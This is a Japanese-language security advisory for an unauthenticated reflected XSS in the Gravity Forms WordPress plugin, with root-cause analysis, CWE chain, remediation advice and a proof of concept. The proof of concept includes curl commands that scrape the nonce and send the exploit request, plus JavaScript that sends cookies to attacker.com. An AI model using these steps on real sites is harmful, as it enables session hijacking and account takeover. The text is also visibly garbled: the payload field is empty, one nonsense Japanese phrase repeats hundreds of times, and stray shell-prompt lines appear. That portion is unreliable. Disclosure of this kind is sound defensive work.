Wordfence 公開記録

説明

WordPress 用 Gravity Forms プラグイン（バージョン 2.9.28 まででテスト済み）は、gform_get_config AJAX アクションの form_ids パラメータを介した未認証リフレクション型クロスサイトスクリプティング（XSS）に対して脆弱です。この脆弱性は、ユーザーが指定した form_ids 値が、サニタイズ、エンコーディング、出力エスケープのいずれも行われずに、サーバーの HTTP レスポンスにそのまま反映されるために存在します。レスポンスは Content-Type: text/html; charset=UTF-8 ヘッダーで配信されるため、ブラウザは反映されたコンテンツを HTML として解析・レンダリングし、注入されたスクリプト要素も含めて実行します。

未認証の攻撃者は、この脆弱性を悪用して、対象の WordPress サイトのオリジンコンテキストで任意の JavaScript を実行できます。gform_get_config アクションには有効な config_nonce が必要ですが、この nonce は Gravity Forms フォームを読み込むすべてのページの HTML ソースに公開埋め込みされているため、攻撃者は悪用リクエストを構築する前に、対象サイトの公開ページをリクエストするだけで有効な nonce を簡単に取得できます。

悪用に成功すると、攻撃者はセッション Cookie を窃取し、認証済みユーザー（WordPress 管理者を含む）に代わって操作を実行し、ユーザーを悪意のあるサイトにリダイレクトし、ページコンテンツを改ざんし、管理者アカウントの作成を通じて永続的なアクセスを確立することができます。

根本原因分析

脆弱なエンドポイント```

POST /wp-admin/admin-ajax.php

脆弱なパラメータ

args POSTパラメータは、form_ids配列を含むJSONオブジェクトを受け入れます。この配列内の値は、サニタイズなしでJSONレスポンス構造のオブジェクトキーとして使用されます:```json {"form_ids":["ATTACKER_CONTROLLED_VALUE"]}

これが悪用可能である理由

1. 入力検証なし: form_ids の値は整数として検証されておらず、サニタイズもフィルタリングもされていません。サーバーはHTMLタグやイベントハンドラを含む任意の文字列コンテンツを受け入れます。
2. 出力エンコーディングなし: form_ids の値はHTMLエンティティエンコーディングなしでレスポンスボディに反映されます。<、>、"、' などの文字は変更されずにそのまま通過します。
3. HTML Content-Type: レスポンスは Content-Type: text/html; charset=UTF-8 で提供され、ブラウザにレスポンスボディをHTMLとして解析するよう指示します。反映された値内のHTMLタグは、ブラウザのHTMLパーサーによってインスタンス化されレンダリングされます。
4. 公開アクセス可能なNonce: gform_get_config アクションで必要とされる config_nonce は、Gravity Formsフォームを読み込むすべてのページのJavaScript設定オブジェクト（gform_theme_config）に埋め込まれています。このnonceはすべてのページで同一であり、特定のユーザーセッションにバインドされていないため、認証されていないユーザーでも簡単に取得できます。

CWE分析

この脆弱性は、連鎖して悪用可能な状態を生み出す複数の寄与する弱点の結果です。CVE報告の目的では CWE-79 が主要な分類ですが、完全な連鎖は各障害がどのように積み重なって悪用を可能にするかを示しています。

弱点の連鎖```

CWE-20 CWE-116 CWE-838 CWE-79 Improper Input → Improper Encoding → Inappropriate Encoding → Cross-Site Validation or Escaping of Output for Output Context Scripting (XSS) [EXPLOITABLE] form_ids accepts Reflected values are JSON data served as Browser parses arbitrary strings not HTML-entity text/html instead of injected HTML tags instead of integers encoded in response application/json and executes JS

CWE-116: 出力の不適切なエンコーディングまたはエスケープ（主要な技術的障害）

役割: 中核となる脆弱性 — XSS 状態の直接的な原因。

サーバーが form_ids の値を含む JSON レスポンスを構築する際、出力に HTML エンティティエンコーディングが適用されません。HTML で特別な意味を持つ文字（<、>、"、'、&）は、変更されずにそのままレスポンスボディに渡されます。PHP の htmlspecialchars()、esc_html()、JSON_HEX_TAG を指定した wp_json_encode()、または同等の出力エンコーディング関数は、form_ids の値がレスポンスに書き込まれる前に適用されていません。

証拠: リテラル文字列 <svg onload=alert(document.domain)> が、入力とバイト単位で完全に同一の形でレスポンスボディに出現します。<svg onload=alert(document.domain)> としては出現しません。

CWE-838: 出力コンテキストに対する不適切なエンコーディング（増悪要因）

役割: コンテキストの昇格 — データの反映問題を実行可能なコードインジェクションへと変換します。

レスポンスボディには JSON 構造化データが含まれていますが、Content-Type: text/html; charset=UTF-8 として配信されます。この Content-Type 宣言により、ブラウザの HTML パーサーはレスポンスボディ全体を HTML ドキュメントとして処理します。レスポンスが application/json として配信されていれば、ブラウザはレスポンスをプレーンテキストとしてレンダリングし、HTML パースは発生しません — インジェクションされたタグは DOM 要素としてインスタンス化されるのではなく、リテラルテキストとして表示されていたでしょう。

証拠:```http Content-Type: text/html; charset=UTF-8 ← Actual (enables HTML parsing) Content-Type: application/json ← Expected (would prevent exploitation)

このnonceは以下のように確認された：

• ターゲットサイトの全ページで同一（ホームページ、フォームページ、フォーム非掲載ページ）
• ユーザーセッションに紐づかない（Cookieの有無にかかわらず同じ値が返される）
• リクエストごとにローテーションされない（長時間にわたり静的）

存在するセキュリティヘッダー（不十分）

概念実証

環境

ステップ1：有効なnonceを取得する

ターゲットサイト上でGravity Formsフォームを読み込む任意のページにリクエストを送信し、config_nonce の値を抽出する：```bash curl -sk "https://[TARGET]/request-quote/" | grep -oP '"config_nonce":"\K[a-f0-9]+'

ステップ2: エクスプロイトリクエストを送信する

XSSペイロードを含む細工された form_ids 値を用いて、WordPressのAJAXハンドラーにPOSTリクエストを送信します:```bash curl -sk -X POST "https://[TARGET]/wp-admin/admin-ajax.php"
-F "gform_ajax_nonce=[NONCE]"
-F "action=gform_get_config"
-F 'args={"form_ids":[""]}'
-F "config_path=gform_theme_config/common/form/pagination/3"
-F "query_string="

HTTPレスポンスボディ:```html

Response:

-u フラグは、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、-u フラグを指定して実行された場合にのみ、`-```html

デコードされたJavaScript:```javascript new Image().src = "https://attacker.com/collect?c=" + btoa(document.cookie) + "&u=" + btoa(location.href);

シナリオ3: フィッシングのためのDOM乗っ取り

反射型XSSにより、ページ全体のDOMを説得力のあるフィッシングオーバーレイ（例: 偽のログインページやセッションタイムアウトのプロンプト）に置き換え、認証情報を直接収集することができます。

攻撃フロー```

┌─────────────┐ 1. GET /any-page/ ┌─────────────────┐ │ Attacker │ ──────────────────────────────► Target WordPress │ │ (External) │ ◄────────────────────────────── (Gravity Forms) │ │ │ 2. HTML with config_nonce │ │ │ │ │ │ │ │ 3. Craft malicious page │ │ │ │ with auto-submit form │ │ │ │ │ │ │ ┌────────┐ │ 4. Send link to victim │ │ │ │Malicious│ │ ───────────────────────► │ │ │ │ Page │ │ ┌───────┴──┐ │ │ └────────┘ │ │ Victim │ │ │ │ │ (WP Admin)│ │ │ │ └───────┬──┘ │ │ │ 5. Victim's browser POSTs │ │ │ │ XSS payload with nonce │ │ │ │ ────────►│ │ │ │ 6. Server reflects payload │ │ │ │ unescaped in text/html │ │ │ │ ◄────────│ │ │ │ 7. JS executes in target │ │ │ │ origin (session context)│ │ │ │ │ │ │ │ ◄── 8. Exfil cookies/tokens ── │ │ └─────────────┘ └─────────────────┘

2. 出力エンコーディング — JSONレスポンスを構築する際に、wp_json_encode() を JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT フラグとともに適用し、HTML上で意味を持つ文字がエスケープされるようにします: ```php echo wp_json_encode($response_data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
   root@kitploit:~

3. Content-Type の修正 — すべての AJAX JSON レスポンスについて、レスポンスの Content-Type を text/html ではなく application/json に設定します。これにより、サニタイズされていないコンテンツが反映された場合でも、ブラウザがレスポンスを HTML として解析することを防ぎます。 ```php header('Content-Type: application/json; charset=UTF-8');
   root@kitploit:~

4. Nonce スコープ — config_nonce をユーザーセッションに紐付けるか、nonce 生成にレート制限を実装して、自動化された悪用のコストを引き上げることを検討してください。

サイト管理者向け（即時緩和策）

1. Web アプリケーションファイアウォール（WAF） — action=gform_get_config が指定された admin-ajax.php への POST リクエストの args パラメータ内の HTML タグを検出・ブロックする WAF ルールを展開する
2. コンテンツセキュリティポリシー — 制限的な script-src CSP ディレクティブ（例：script-src 'self'）を実装し、リフレクションされた場合でもインラインスクリプトの実行を防ぐ
3. アップデートの監視 — リリースされたらすぐに Gravity Forms のパッチを適用する
4. 管理者アカウントの監査 — 既存の管理者アカウントに不正な追加がないか確認する

開示のタイムライン

参考情報

• Gravity Forms セキュリティドキュメント
• [Gravity Forms セキュリティ連絡先](mailto:[email protected])
• CWE-79: Web ページ生成時の入力の不適切な無害化
• OWASP クロスサイトスクリプティング（XSS）
• WordPress AJAX API — admin-ajax.php
• CVE-2023-2701 — 以前の Gravity Forms XSS（異なるベクター）
• CVE-2024-13377 — alt パラメータ経由の以前の Gravity Forms 保存型 XSS（異なるベクター）

免責事項

本脆弱性は、署名済みの作業範囲書と明示的な書面による承認に基づいて実施された、認可されたペネトレーションテスト契約中に発見されました。すべてのテストは合意された範囲内で実施され、発見後すぐにクライアントへ報告されました。本開示は責任ある開示の慣行に従っています。不正なシステムへのアクセスはなく、管理された概念実証の検証以外でのデータの持ち出しは行われていません。

発見者: Anthony Cihan